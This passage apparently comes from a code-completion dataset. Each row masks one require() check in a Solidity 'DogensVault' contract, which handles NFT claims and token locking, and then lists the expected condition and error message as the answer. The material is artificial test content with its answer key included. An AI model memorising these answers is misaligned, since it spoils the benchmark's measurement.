uint8 public minDayOfMonthCanUnlock = 1;
uint8 public maxDayOfMonthCanUnlock = 5;
//mappings
mapping(uint256 => address) public receiver;
mapping(address => uint256[]) public unclaimedTokens;
mapping(address => Share) public userData;
mapping(address => LogRescueUserData) public userRescue;
event AirDrop(address receiver, uint256 tokenId);
event NftDistributed(address receiver, uint256 tokenId);
event NftClaimed(address receiver, uint256 tokenId);
event TokensLocked(address user, uint256 amount, uint256 start, uint256 end);
event TokensUnlocked(address user, uint256 amount, uint256 time);
event MinDayUpdated(uint8 newDay, uint8 oldDay);
event MaxDayUpdated(uint8 newDay, uint8 oldDay);
event ClaimFeeUpdated(uint256 newFee, uint256 oldFee);
event NftAddressesUpdated(address v1, address v2);
event RewardTokenUpdated(address rewardToken);
event LockPeriodUpdated(uint256 newPeriod, uint256 oldPeriod);
event HoldingTimeUpdated(uint256 newTime, uint256 oldTime);
event RescueUserFunds(address user, uint256 amount, uint256 time);
function airDrop(Receiver[] memory _addressesAndTokenID) external onlyOwner {
}
function distributeTokens(address user, uint256[] memory tokens) external onlyOwner {
}
function claimAll() public payable nonReentrant {
require(<FILL_ME>)
uint256 userClaimFee;
for (uint i = 0; i < unclaimedTokens[_msgSender()].length; i++) {
uint256 token = unclaimedTokens[_msgSender()][i];
if (token != 0 && nft_v1.ownerOf(token) == _msgSender()) {
require(receiver[token] == _msgSender(), "token distribution error");
nft_v2.safeTransferFrom(address(this), _msgSender(), token);
unchecked{
delete receiver[token];
delete unclaimedTokens[_msgSender()][i];
userClaimFee += claimFee;
}
emit NftClaimed(_msgSender(), token);
}
}
require(msg.value >= userClaimFee, "not enough ether send");
}
function claimExactToken(uint256 tokenId) public payable nonReentrant {
}
function getClaimAllFee(address user) public view returns (uint256) {
}
function lock(uint256 amount) public whenNotPaused nonReentrant {
}
function unlock(uint256 amount) public whenNotPaused nonReentrant {
}
function userInfo(address user) external view returns (uint256, bool) {
}
function setMinDayOfMonthCanUnlock(uint8 _day) external onlyOwner {
}
function setMaxDayOfMonthCanUnlock(uint8 _day) external onlyOwner {
}
function reassignToken(uint256 tokenId, address newReceiver) public onlyOwner {
}
receive() external payable {}
function getUnclaimedToken(address user) external view returns (uint256[] memory) {
}
function withdraw() external payable onlyOwner {
}
function emergencyWithdraw() external onlyOwner {
}
function rescueERC20(address tokenAdd, uint256 amount) external onlyOwner {
}
// Emergency Token Lock Reset
function resetUserData(address _user) external onlyOwner {
}
function rescueUser(address _user) external onlyOwner {
}
function changeClaimFee(uint256 newFeeInWei) external onlyOwner {
}
function clearUnclaimedTokens(address user) external onlyOwner {
}
function setNfts(address _nft_v1, address _nft_v2) external onlyOwner {
}
function setRewardToken(address _rewardToken) external onlyOwner {
}
function setNewLockPeriod(uint256 _newLockInDays) external onlyOwner {
}
function setNewHoldingTime(uint256 _newHoldingTimeInDays) external onlyOwner {
}
function pause() external virtual onlyOwner {
}
function unpause() external virtual onlyOwner {
}
function testTime() external view returns (uint256) {
}
function _dayOfMonth(uint256 _timestamp) internal pure returns (uint256) {
}
// date conversion algorithm from http://aa.usno.navy.mil/faq/docs/JD_Formula.php
function _daysToDate(uint256 _days) internal pure returns (uint256, uint256, uint256) {
}
}
| unclaimedTokens[_msgSender()].length>0,"no tokens for claim" | 240,215 | unclaimedTokens[_msgSender()].length>0 |
"token distribution error" | pragma solidity ^0.8.0;
contract DogensVault is Ownable, Pausable, ReentrancyGuard {
IERC721A public nft_v1;
IERC721A public nft_v2;
IERC20 public rewardToken;
struct Share {
uint256 amount;
uint256 lockTime;
uint256 lockEndTime;
}
struct Receiver {
address userAddress;
uint256 tokenId;
}
struct LogRescueUserData {
uint timestamp;
uint256 amount;
}
//constants
uint256 constant ONE_DAY = 86400;
int256 private constant OFFSET19700101 = 2440588;
//public variables
uint256 public claimFee = 0.001 ether;
uint256 public timeLock = 30 days;
uint256 public holdingTime = 25 days;
uint256 public totalDepositedAmount;
uint8 public minDayOfMonthCanUnlock = 1;
uint8 public maxDayOfMonthCanUnlock = 5;
//mappings
mapping(uint256 => address) public receiver;
mapping(address => uint256[]) public unclaimedTokens;
mapping(address => Share) public userData;
mapping(address => LogRescueUserData) public userRescue;
event AirDrop(address receiver, uint256 tokenId);
event NftDistributed(address receiver, uint256 tokenId);
event NftClaimed(address receiver, uint256 tokenId);
event TokensLocked(address user, uint256 amount, uint256 start, uint256 end);
event TokensUnlocked(address user, uint256 amount, uint256 time);
event MinDayUpdated(uint8 newDay, uint8 oldDay);
event MaxDayUpdated(uint8 newDay, uint8 oldDay);
event ClaimFeeUpdated(uint256 newFee, uint256 oldFee);
event NftAddressesUpdated(address v1, address v2);
event RewardTokenUpdated(address rewardToken);
event LockPeriodUpdated(uint256 newPeriod, uint256 oldPeriod);
event HoldingTimeUpdated(uint256 newTime, uint256 oldTime);
event RescueUserFunds(address user, uint256 amount, uint256 time);
function airDrop(Receiver[] memory _addressesAndTokenID) external onlyOwner {
}
function distributeTokens(address user, uint256[] memory tokens) external onlyOwner {
}
function claimAll() public payable nonReentrant {
require(unclaimedTokens[_msgSender()].length > 0, "no tokens for claim");
uint256 userClaimFee;
for (uint i = 0; i < unclaimedTokens[_msgSender()].length; i++) {
uint256 token = unclaimedTokens[_msgSender()][i];
if (token != 0 && nft_v1.ownerOf(token) == _msgSender()) {
require(<FILL_ME>)
nft_v2.safeTransferFrom(address(this), _msgSender(), token);
unchecked{
delete receiver[token];
delete unclaimedTokens[_msgSender()][i];
userClaimFee += claimFee;
}
emit NftClaimed(_msgSender(), token);
}
}
require(msg.value >= userClaimFee, "not enough ether send");
}
function claimExactToken(uint256 tokenId) public payable nonReentrant {
}
function getClaimAllFee(address user) public view returns (uint256) {
}
function lock(uint256 amount) public whenNotPaused nonReentrant {
}
function unlock(uint256 amount) public whenNotPaused nonReentrant {
}
function userInfo(address user) external view returns (uint256, bool) {
}
function setMinDayOfMonthCanUnlock(uint8 _day) external onlyOwner {
}
function setMaxDayOfMonthCanUnlock(uint8 _day) external onlyOwner {
}
function reassignToken(uint256 tokenId, address newReceiver) public onlyOwner {
}
receive() external payable {}
function getUnclaimedToken(address user) external view returns (uint256[] memory) {
}
function withdraw() external payable onlyOwner {
}
function emergencyWithdraw() external onlyOwner {
}
function rescueERC20(address tokenAdd, uint256 amount) external onlyOwner {
}
// Emergency Token Lock Reset
function resetUserData(address _user) external onlyOwner {
}
function rescueUser(address _user) external onlyOwner {
}
function changeClaimFee(uint256 newFeeInWei) external onlyOwner {
}
function clearUnclaimedTokens(address user) external onlyOwner {
}
function setNfts(address _nft_v1, address _nft_v2) external onlyOwner {
}
function setRewardToken(address _rewardToken) external onlyOwner {
}
function setNewLockPeriod(uint256 _newLockInDays) external onlyOwner {
}
function setNewHoldingTime(uint256 _newHoldingTimeInDays) external onlyOwner {
}
function pause() external virtual onlyOwner {
}
function unpause() external virtual onlyOwner {
}
function testTime() external view returns (uint256) {
}
function _dayOfMonth(uint256 _timestamp) internal pure returns (uint256) {
}
// date conversion algorithm from http://aa.usno.navy.mil/faq/docs/JD_Formula.php
function _daysToDate(uint256 _days) internal pure returns (uint256, uint256, uint256) {
}
}
| receiver[token]==_msgSender(),"token distribution error" | 240,215 | receiver[token]==_msgSender() |
"user not the owner of v1 token" | pragma solidity ^0.8.0;
contract DogensVault is Ownable, Pausable, ReentrancyGuard {
IERC721A public nft_v1;
IERC721A public nft_v2;
IERC20 public rewardToken;
struct Share {
uint256 amount;
uint256 lockTime;
uint256 lockEndTime;
}
struct Receiver {
address userAddress;
uint256 tokenId;
}
struct LogRescueUserData {
uint timestamp;
uint256 amount;
}
//constants
uint256 constant ONE_DAY = 86400;
int256 private constant OFFSET19700101 = 2440588;
//public variables
uint256 public claimFee = 0.001 ether;
uint256 public timeLock = 30 days;
uint256 public holdingTime = 25 days;
uint256 public totalDepositedAmount;
uint8 public minDayOfMonthCanUnlock = 1;
uint8 public maxDayOfMonthCanUnlock = 5;
//mappings
mapping(uint256 => address) public receiver;
mapping(address => uint256[]) public unclaimedTokens;
mapping(address => Share) public userData;
mapping(address => LogRescueUserData) public userRescue;
event AirDrop(address receiver, uint256 tokenId);
event NftDistributed(address receiver, uint256 tokenId);
event NftClaimed(address receiver, uint256 tokenId);
event TokensLocked(address user, uint256 amount, uint256 start, uint256 end);
event TokensUnlocked(address user, uint256 amount, uint256 time);
event MinDayUpdated(uint8 newDay, uint8 oldDay);
event MaxDayUpdated(uint8 newDay, uint8 oldDay);
event ClaimFeeUpdated(uint256 newFee, uint256 oldFee);
event NftAddressesUpdated(address v1, address v2);
event RewardTokenUpdated(address rewardToken);
event LockPeriodUpdated(uint256 newPeriod, uint256 oldPeriod);
event HoldingTimeUpdated(uint256 newTime, uint256 oldTime);
event RescueUserFunds(address user, uint256 amount, uint256 time);
function airDrop(Receiver[] memory _addressesAndTokenID) external onlyOwner {
}
function distributeTokens(address user, uint256[] memory tokens) external onlyOwner {
}
function claimAll() public payable nonReentrant {
}
function claimExactToken(uint256 tokenId) public payable nonReentrant {
require(unclaimedTokens[_msgSender()].length > 0, "no tokens for claim");
require(tokenId > 0, "zero token id");
require(msg.value >= claimFee, "not enough ether send");
require(<FILL_ME>)
for (uint i = 0; i < unclaimedTokens[_msgSender()].length; i++) {
uint256 token = unclaimedTokens[_msgSender()][i];
if (token == tokenId) {
require(receiver[token] == _msgSender(), "token distribution error");
nft_v2.safeTransferFrom(address(this), _msgSender(), token);
delete receiver[token];
delete unclaimedTokens[_msgSender()][i];
emit NftClaimed(_msgSender(), token);
}
}
}
function getClaimAllFee(address user) public view returns (uint256) {
}
function lock(uint256 amount) public whenNotPaused nonReentrant {
}
function unlock(uint256 amount) public whenNotPaused nonReentrant {
}
function userInfo(address user) external view returns (uint256, bool) {
}
function setMinDayOfMonthCanUnlock(uint8 _day) external onlyOwner {
}
function setMaxDayOfMonthCanUnlock(uint8 _day) external onlyOwner {
}
function reassignToken(uint256 tokenId, address newReceiver) public onlyOwner {
}
receive() external payable {}
function getUnclaimedToken(address user) external view returns (uint256[] memory) {
}
function withdraw() external payable onlyOwner {
}
function emergencyWithdraw() external onlyOwner {
}
function rescueERC20(address tokenAdd, uint256 amount) external onlyOwner {
}
// Emergency Token Lock Reset
function resetUserData(address _user) external onlyOwner {
}
function rescueUser(address _user) external onlyOwner {
}
function changeClaimFee(uint256 newFeeInWei) external onlyOwner {
}
function clearUnclaimedTokens(address user) external onlyOwner {
}
function setNfts(address _nft_v1, address _nft_v2) external onlyOwner {
}
function setRewardToken(address _rewardToken) external onlyOwner {
}
function setNewLockPeriod(uint256 _newLockInDays) external onlyOwner {
}
function setNewHoldingTime(uint256 _newHoldingTimeInDays) external onlyOwner {
}
function pause() external virtual onlyOwner {
}
function unpause() external virtual onlyOwner {
}
function testTime() external view returns (uint256) {
}
function _dayOfMonth(uint256 _timestamp) internal pure returns (uint256) {
}
// date conversion algorithm from http://aa.usno.navy.mil/faq/docs/JD_Formula.php
function _daysToDate(uint256 _days) internal pure returns (uint256, uint256, uint256) {
}
}
| nft_v1.ownerOf(tokenId)==_msgSender(),"user not the owner of v1 token" | 240,215 | nft_v1.ownerOf(tokenId)==_msgSender() |
"insufficient allowance" | pragma solidity ^0.8.0;
contract DogensVault is Ownable, Pausable, ReentrancyGuard {
IERC721A public nft_v1;
IERC721A public nft_v2;
IERC20 public rewardToken;
struct Share {
uint256 amount;
uint256 lockTime;
uint256 lockEndTime;
}
struct Receiver {
address userAddress;
uint256 tokenId;
}
struct LogRescueUserData {
uint timestamp;
uint256 amount;
}
//constants
uint256 constant ONE_DAY = 86400;
int256 private constant OFFSET19700101 = 2440588;
//public variables
uint256 public claimFee = 0.001 ether;
uint256 public timeLock = 30 days;
uint256 public holdingTime = 25 days;
uint256 public totalDepositedAmount;
uint8 public minDayOfMonthCanUnlock = 1;
uint8 public maxDayOfMonthCanUnlock = 5;
//mappings
mapping(uint256 => address) public receiver;
mapping(address => uint256[]) public unclaimedTokens;
mapping(address => Share) public userData;
mapping(address => LogRescueUserData) public userRescue;
event AirDrop(address receiver, uint256 tokenId);
event NftDistributed(address receiver, uint256 tokenId);
event NftClaimed(address receiver, uint256 tokenId);
event TokensLocked(address user, uint256 amount, uint256 start, uint256 end);
event TokensUnlocked(address user, uint256 amount, uint256 time);
event MinDayUpdated(uint8 newDay, uint8 oldDay);
event MaxDayUpdated(uint8 newDay, uint8 oldDay);
event ClaimFeeUpdated(uint256 newFee, uint256 oldFee);
event NftAddressesUpdated(address v1, address v2);
event RewardTokenUpdated(address rewardToken);
event LockPeriodUpdated(uint256 newPeriod, uint256 oldPeriod);
event HoldingTimeUpdated(uint256 newTime, uint256 oldTime);
event RescueUserFunds(address user, uint256 amount, uint256 time);
function airDrop(Receiver[] memory _addressesAndTokenID) external onlyOwner {
}
function distributeTokens(address user, uint256[] memory tokens) external onlyOwner {
}
function claimAll() public payable nonReentrant {
}
function claimExactToken(uint256 tokenId) public payable nonReentrant {
}
function getClaimAllFee(address user) public view returns (uint256) {
}
function lock(uint256 amount) public whenNotPaused nonReentrant {
uint256 totalAmount = amount * 10 ** rewardToken.decimals();
require(<FILL_ME>)
require(rewardToken.balanceOf(_msgSender()) >= totalAmount, "insufficient balance");
require(rewardToken.transferFrom(_msgSender(), address(this), totalAmount), "token transfer failed");
if (userData[_msgSender()].amount > 0) {
userData[_msgSender()].amount += totalAmount;
userData[_msgSender()].lockTime = block.timestamp;
userData[_msgSender()].lockEndTime = block.timestamp + timeLock;
emit TokensLocked(_msgSender(), userData[_msgSender()].amount, block.timestamp, userData[_msgSender()].lockEndTime);
} else {
userData[_msgSender()] = Share(totalAmount, block.timestamp, block.timestamp + timeLock);
emit TokensLocked(_msgSender(), totalAmount, block.timestamp, block.timestamp + timeLock);
}
}
function unlock(uint256 amount) public whenNotPaused nonReentrant {
}
function userInfo(address user) external view returns (uint256, bool) {
}
function setMinDayOfMonthCanUnlock(uint8 _day) external onlyOwner {
}
function setMaxDayOfMonthCanUnlock(uint8 _day) external onlyOwner {
}
function reassignToken(uint256 tokenId, address newReceiver) public onlyOwner {
}
receive() external payable {}
function getUnclaimedToken(address user) external view returns (uint256[] memory) {
}
function withdraw() external payable onlyOwner {
}
function emergencyWithdraw() external onlyOwner {
}
function rescueERC20(address tokenAdd, uint256 amount) external onlyOwner {
}
// Emergency Token Lock Reset
function resetUserData(address _user) external onlyOwner {
}
function rescueUser(address _user) external onlyOwner {
}
function changeClaimFee(uint256 newFeeInWei) external onlyOwner {
}
function clearUnclaimedTokens(address user) external onlyOwner {
}
function setNfts(address _nft_v1, address _nft_v2) external onlyOwner {
}
function setRewardToken(address _rewardToken) external onlyOwner {
}
function setNewLockPeriod(uint256 _newLockInDays) external onlyOwner {
}
function setNewHoldingTime(uint256 _newHoldingTimeInDays) external onlyOwner {
}
function pause() external virtual onlyOwner {
}
function unpause() external virtual onlyOwner {
}
function testTime() external view returns (uint256) {
}
function _dayOfMonth(uint256 _timestamp) internal pure returns (uint256) {
}
// date conversion algorithm from http://aa.usno.navy.mil/faq/docs/JD_Formula.php
function _daysToDate(uint256 _days) internal pure returns (uint256, uint256, uint256) {
}
}
| rewardToken.allowance(_msgSender(),address(this))>=totalAmount,"insufficient allowance" | 240,215 | rewardToken.allowance(_msgSender(),address(this))>=totalAmount |
"insufficient balance" | pragma solidity ^0.8.0;
contract DogensVault is Ownable, Pausable, ReentrancyGuard {
IERC721A public nft_v1;
IERC721A public nft_v2;
IERC20 public rewardToken;
struct Share {
uint256 amount;
uint256 lockTime;
uint256 lockEndTime;
}
struct Receiver {
address userAddress;
uint256 tokenId;
}
struct LogRescueUserData {
uint timestamp;
uint256 amount;
}
//constants
uint256 constant ONE_DAY = 86400;
int256 private constant OFFSET19700101 = 2440588;
//public variables
uint256 public claimFee = 0.001 ether;
uint256 public timeLock = 30 days;
uint256 public holdingTime = 25 days;
uint256 public totalDepositedAmount;
uint8 public minDayOfMonthCanUnlock = 1;
uint8 public maxDayOfMonthCanUnlock = 5;
//mappings
mapping(uint256 => address) public receiver;
mapping(address => uint256[]) public unclaimedTokens;
mapping(address => Share) public userData;
mapping(address => LogRescueUserData) public userRescue;
event AirDrop(address receiver, uint256 tokenId);
event NftDistributed(address receiver, uint256 tokenId);
event NftClaimed(address receiver, uint256 tokenId);
event TokensLocked(address user, uint256 amount, uint256 start, uint256 end);
event TokensUnlocked(address user, uint256 amount, uint256 time);
event MinDayUpdated(uint8 newDay, uint8 oldDay);
event MaxDayUpdated(uint8 newDay, uint8 oldDay);
event ClaimFeeUpdated(uint256 newFee, uint256 oldFee);
event NftAddressesUpdated(address v1, address v2);
event RewardTokenUpdated(address rewardToken);
event LockPeriodUpdated(uint256 newPeriod, uint256 oldPeriod);
event HoldingTimeUpdated(uint256 newTime, uint256 oldTime);
event RescueUserFunds(address user, uint256 amount, uint256 time);
function airDrop(Receiver[] memory _addressesAndTokenID) external onlyOwner {
}
function distributeTokens(address user, uint256[] memory tokens) external onlyOwner {
}
function claimAll() public payable nonReentrant {
}
function claimExactToken(uint256 tokenId) public payable nonReentrant {
}
function getClaimAllFee(address user) public view returns (uint256) {
}
function lock(uint256 amount) public whenNotPaused nonReentrant {
uint256 totalAmount = amount * 10 ** rewardToken.decimals();
require(rewardToken.allowance(_msgSender(), address(this)) >= totalAmount, "insufficient allowance");
require(<FILL_ME>)
require(rewardToken.transferFrom(_msgSender(), address(this), totalAmount), "token transfer failed");
if (userData[_msgSender()].amount > 0) {
userData[_msgSender()].amount += totalAmount;
userData[_msgSender()].lockTime = block.timestamp;
userData[_msgSender()].lockEndTime = block.timestamp + timeLock;
emit TokensLocked(_msgSender(), userData[_msgSender()].amount, block.timestamp, userData[_msgSender()].lockEndTime);
} else {
userData[_msgSender()] = Share(totalAmount, block.timestamp, block.timestamp + timeLock);
emit TokensLocked(_msgSender(), totalAmount, block.timestamp, block.timestamp + timeLock);
}
}
function unlock(uint256 amount) public whenNotPaused nonReentrant {
}
function userInfo(address user) external view returns (uint256, bool) {
}
function setMinDayOfMonthCanUnlock(uint8 _day) external onlyOwner {
}
function setMaxDayOfMonthCanUnlock(uint8 _day) external onlyOwner {
}
function reassignToken(uint256 tokenId, address newReceiver) public onlyOwner {
}
receive() external payable {}
function getUnclaimedToken(address user) external view returns (uint256[] memory) {
}
function withdraw() external payable onlyOwner {
}
function emergencyWithdraw() external onlyOwner {
}
function rescueERC20(address tokenAdd, uint256 amount) external onlyOwner {
}
// Emergency Token Lock Reset
function resetUserData(address _user) external onlyOwner {
}
function rescueUser(address _user) external onlyOwner {
}
function changeClaimFee(uint256 newFeeInWei) external onlyOwner {
}
function clearUnclaimedTokens(address user) external onlyOwner {
}
function setNfts(address _nft_v1, address _nft_v2) external onlyOwner {
}
function setRewardToken(address _rewardToken) external onlyOwner {
}
function setNewLockPeriod(uint256 _newLockInDays) external onlyOwner {
}
function setNewHoldingTime(uint256 _newHoldingTimeInDays) external onlyOwner {
}
function pause() external virtual onlyOwner {
}
function unpause() external virtual onlyOwner {
}
function testTime() external view returns (uint256) {
}
function _dayOfMonth(uint256 _timestamp) internal pure returns (uint256) {
}
// date conversion algorithm from http://aa.usno.navy.mil/faq/docs/JD_Formula.php
function _daysToDate(uint256 _days) internal pure returns (uint256, uint256, uint256) {
}
}
| rewardToken.balanceOf(_msgSender())>=totalAmount,"insufficient balance" | 240,215 | rewardToken.balanceOf(_msgSender())>=totalAmount |
"token transfer failed" | pragma solidity ^0.8.0;
contract DogensVault is Ownable, Pausable, ReentrancyGuard {
IERC721A public nft_v1;
IERC721A public nft_v2;
IERC20 public rewardToken;
struct Share {
uint256 amount;
uint256 lockTime;
uint256 lockEndTime;
}
struct Receiver {
address userAddress;
uint256 tokenId;
}
struct LogRescueUserData {
uint timestamp;
uint256 amount;
}
//constants
uint256 constant ONE_DAY = 86400;
int256 private constant OFFSET19700101 = 2440588;
//public variables
uint256 public claimFee = 0.001 ether;
uint256 public timeLock = 30 days;
uint256 public holdingTime = 25 days;
uint256 public totalDepositedAmount;
uint8 public minDayOfMonthCanUnlock = 1;
uint8 public maxDayOfMonthCanUnlock = 5;
//mappings
mapping(uint256 => address) public receiver;
mapping(address => uint256[]) public unclaimedTokens;
mapping(address => Share) public userData;
mapping(address => LogRescueUserData) public userRescue;
event AirDrop(address receiver, uint256 tokenId);
event NftDistributed(address receiver, uint256 tokenId);
event NftClaimed(address receiver, uint256 tokenId);
event TokensLocked(address user, uint256 amount, uint256 start, uint256 end);
event TokensUnlocked(address user, uint256 amount, uint256 time);
event MinDayUpdated(uint8 newDay, uint8 oldDay);
event MaxDayUpdated(uint8 newDay, uint8 oldDay);
event ClaimFeeUpdated(uint256 newFee, uint256 oldFee);
event NftAddressesUpdated(address v1, address v2);
event RewardTokenUpdated(address rewardToken);
event LockPeriodUpdated(uint256 newPeriod, uint256 oldPeriod);
event HoldingTimeUpdated(uint256 newTime, uint256 oldTime);
event RescueUserFunds(address user, uint256 amount, uint256 time);
function airDrop(Receiver[] memory _addressesAndTokenID) external onlyOwner {
}
function distributeTokens(address user, uint256[] memory tokens) external onlyOwner {
}
function claimAll() public payable nonReentrant {
}
function claimExactToken(uint256 tokenId) public payable nonReentrant {
}
function getClaimAllFee(address user) public view returns (uint256) {
}
function lock(uint256 amount) public whenNotPaused nonReentrant {
uint256 totalAmount = amount * 10 ** rewardToken.decimals();
require(rewardToken.allowance(_msgSender(), address(this)) >= totalAmount, "insufficient allowance");
require(rewardToken.balanceOf(_msgSender()) >= totalAmount, "insufficient balance");
require(<FILL_ME>)
if (userData[_msgSender()].amount > 0) {
userData[_msgSender()].amount += totalAmount;
userData[_msgSender()].lockTime = block.timestamp;
userData[_msgSender()].lockEndTime = block.timestamp + timeLock;
emit TokensLocked(_msgSender(), userData[_msgSender()].amount, block.timestamp, userData[_msgSender()].lockEndTime);
} else {
userData[_msgSender()] = Share(totalAmount, block.timestamp, block.timestamp + timeLock);
emit TokensLocked(_msgSender(), totalAmount, block.timestamp, block.timestamp + timeLock);
}
}
function unlock(uint256 amount) public whenNotPaused nonReentrant {
}
function userInfo(address user) external view returns (uint256, bool) {
}
function setMinDayOfMonthCanUnlock(uint8 _day) external onlyOwner {
}
function setMaxDayOfMonthCanUnlock(uint8 _day) external onlyOwner {
}
function reassignToken(uint256 tokenId, address newReceiver) public onlyOwner {
}
receive() external payable {}
function getUnclaimedToken(address user) external view returns (uint256[] memory) {
}
function withdraw() external payable onlyOwner {
}
function emergencyWithdraw() external onlyOwner {
}
function rescueERC20(address tokenAdd, uint256 amount) external onlyOwner {
}
// Emergency Token Lock Reset
function resetUserData(address _user) external onlyOwner {
}
function rescueUser(address _user) external onlyOwner {
}
function changeClaimFee(uint256 newFeeInWei) external onlyOwner {
}
function clearUnclaimedTokens(address user) external onlyOwner {
}
function setNfts(address _nft_v1, address _nft_v2) external onlyOwner {
}
function setRewardToken(address _rewardToken) external onlyOwner {
}
function setNewLockPeriod(uint256 _newLockInDays) external onlyOwner {
}
function setNewHoldingTime(uint256 _newHoldingTimeInDays) external onlyOwner {
}
function pause() external virtual onlyOwner {
}
function unpause() external virtual onlyOwner {
}
function testTime() external view returns (uint256) {
}
function _dayOfMonth(uint256 _timestamp) internal pure returns (uint256) {
}
// date conversion algorithm from http://aa.usno.navy.mil/faq/docs/JD_Formula.php
function _daysToDate(uint256 _days) internal pure returns (uint256, uint256, uint256) {
}
}
| rewardToken.transferFrom(_msgSender(),address(this),totalAmount),"token transfer failed" | 240,215 | rewardToken.transferFrom(_msgSender(),address(this),totalAmount) |
"lock period not ended" | pragma solidity ^0.8.0;
contract DogensVault is Ownable, Pausable, ReentrancyGuard {
IERC721A public nft_v1;
IERC721A public nft_v2;
IERC20 public rewardToken;
struct Share {
uint256 amount;
uint256 lockTime;
uint256 lockEndTime;
}
struct Receiver {
address userAddress;
uint256 tokenId;
}
struct LogRescueUserData {
uint timestamp;
uint256 amount;
}
//constants
uint256 constant ONE_DAY = 86400;
int256 private constant OFFSET19700101 = 2440588;
//public variables
uint256 public claimFee = 0.001 ether;
uint256 public timeLock = 30 days;
uint256 public holdingTime = 25 days;
uint256 public totalDepositedAmount;
uint8 public minDayOfMonthCanUnlock = 1;
uint8 public maxDayOfMonthCanUnlock = 5;
//mappings
mapping(uint256 => address) public receiver;
mapping(address => uint256[]) public unclaimedTokens;
mapping(address => Share) public userData;
mapping(address => LogRescueUserData) public userRescue;
event AirDrop(address receiver, uint256 tokenId);
event NftDistributed(address receiver, uint256 tokenId);
event NftClaimed(address receiver, uint256 tokenId);
event TokensLocked(address user, uint256 amount, uint256 start, uint256 end);
event TokensUnlocked(address user, uint256 amount, uint256 time);
event MinDayUpdated(uint8 newDay, uint8 oldDay);
event MaxDayUpdated(uint8 newDay, uint8 oldDay);
event ClaimFeeUpdated(uint256 newFee, uint256 oldFee);
event NftAddressesUpdated(address v1, address v2);
event RewardTokenUpdated(address rewardToken);
event LockPeriodUpdated(uint256 newPeriod, uint256 oldPeriod);
event HoldingTimeUpdated(uint256 newTime, uint256 oldTime);
event RescueUserFunds(address user, uint256 amount, uint256 time);
function airDrop(Receiver[] memory _addressesAndTokenID) external onlyOwner {
}
function distributeTokens(address user, uint256[] memory tokens) external onlyOwner {
}
function claimAll() public payable nonReentrant {
}
function claimExactToken(uint256 tokenId) public payable nonReentrant {
}
function getClaimAllFee(address user) public view returns (uint256) {
}
function lock(uint256 amount) public whenNotPaused nonReentrant {
}
function unlock(uint256 amount) public whenNotPaused nonReentrant {
uint256 _currentDayOfMonth = _dayOfMonth(block.timestamp);
require(
_currentDayOfMonth >= minDayOfMonthCanUnlock &&
_currentDayOfMonth <= maxDayOfMonthCanUnlock,
"outside of allowed lock window"
);
uint256 totalAmount = amount * 10 ** rewardToken.decimals();
require(<FILL_ME>)
require(userData[_msgSender()].amount >= totalAmount, "input exceed locked amount");
userData[_msgSender()].amount -= totalAmount;
if (userData[_msgSender()].amount == 0) {
delete userData[_msgSender()];
}
require(rewardToken.transfer(_msgSender(), totalAmount), "token transfer failed");
emit TokensUnlocked(_msgSender(), totalAmount, block.timestamp);
}
function userInfo(address user) external view returns (uint256, bool) {
}
function setMinDayOfMonthCanUnlock(uint8 _day) external onlyOwner {
}
function setMaxDayOfMonthCanUnlock(uint8 _day) external onlyOwner {
}
function reassignToken(uint256 tokenId, address newReceiver) public onlyOwner {
}
receive() external payable {}
function getUnclaimedToken(address user) external view returns (uint256[] memory) {
}
function withdraw() external payable onlyOwner {
}
function emergencyWithdraw() external onlyOwner {
}
function rescueERC20(address tokenAdd, uint256 amount) external onlyOwner {
}
// Emergency Token Lock Reset
function resetUserData(address _user) external onlyOwner {
}
function rescueUser(address _user) external onlyOwner {
}
function changeClaimFee(uint256 newFeeInWei) external onlyOwner {
}
function clearUnclaimedTokens(address user) external onlyOwner {
}
function setNfts(address _nft_v1, address _nft_v2) external onlyOwner {
}
function setRewardToken(address _rewardToken) external onlyOwner {
}
function setNewLockPeriod(uint256 _newLockInDays) external onlyOwner {
}
function setNewHoldingTime(uint256 _newHoldingTimeInDays) external onlyOwner {
}
function pause() external virtual onlyOwner {
}
function unpause() external virtual onlyOwner {
}
function testTime() external view returns (uint256) {
}
function _dayOfMonth(uint256 _timestamp) internal pure returns (uint256) {
}
// date conversion algorithm from http://aa.usno.navy.mil/faq/docs/JD_Formula.php
function _daysToDate(uint256 _days) internal pure returns (uint256, uint256, uint256) {
}
}
| userData[_msgSender()].lockEndTime<=block.timestamp,"lock period not ended" | 240,215 | userData[_msgSender()].lockEndTime<=block.timestamp |
"input exceed locked amount" | pragma solidity ^0.8.0;
contract DogensVault is Ownable, Pausable, ReentrancyGuard {
IERC721A public nft_v1;
IERC721A public nft_v2;
IERC20 public rewardToken;
struct Share {
uint256 amount;
uint256 lockTime;
uint256 lockEndTime;
}
struct Receiver {
address userAddress;
uint256 tokenId;
}
struct LogRescueUserData {
uint timestamp;
uint256 amount;
}
//constants
uint256 constant ONE_DAY = 86400;
int256 private constant OFFSET19700101 = 2440588;
//public variables
uint256 public claimFee = 0.001 ether;
uint256 public timeLock = 30 days;
uint256 public holdingTime = 25 days;
uint256 public totalDepositedAmount;
uint8 public minDayOfMonthCanUnlock = 1;
uint8 public maxDayOfMonthCanUnlock = 5;
//mappings
mapping(uint256 => address) public receiver;
mapping(address => uint256[]) public unclaimedTokens;
mapping(address => Share) public userData;
mapping(address => LogRescueUserData) public userRescue;
event AirDrop(address receiver, uint256 tokenId);
event NftDistributed(address receiver, uint256 tokenId);
event NftClaimed(address receiver, uint256 tokenId);
event TokensLocked(address user, uint256 amount, uint256 start, uint256 end);
event TokensUnlocked(address user, uint256 amount, uint256 time);
event MinDayUpdated(uint8 newDay, uint8 oldDay);
event MaxDayUpdated(uint8 newDay, uint8 oldDay);
event ClaimFeeUpdated(uint256 newFee, uint256 oldFee);
event NftAddressesUpdated(address v1, address v2);
event RewardTokenUpdated(address rewardToken);
event LockPeriodUpdated(uint256 newPeriod, uint256 oldPeriod);
event HoldingTimeUpdated(uint256 newTime, uint256 oldTime);
event RescueUserFunds(address user, uint256 amount, uint256 time);
function airDrop(Receiver[] memory _addressesAndTokenID) external onlyOwner {
}
function distributeTokens(address user, uint256[] memory tokens) external onlyOwner {
}
function claimAll() public payable nonReentrant {
}
function claimExactToken(uint256 tokenId) public payable nonReentrant {
}
function getClaimAllFee(address user) public view returns (uint256) {
}
function lock(uint256 amount) public whenNotPaused nonReentrant {
}
function unlock(uint256 amount) public whenNotPaused nonReentrant {
uint256 _currentDayOfMonth = _dayOfMonth(block.timestamp);
require(
_currentDayOfMonth >= minDayOfMonthCanUnlock &&
_currentDayOfMonth <= maxDayOfMonthCanUnlock,
"outside of allowed lock window"
);
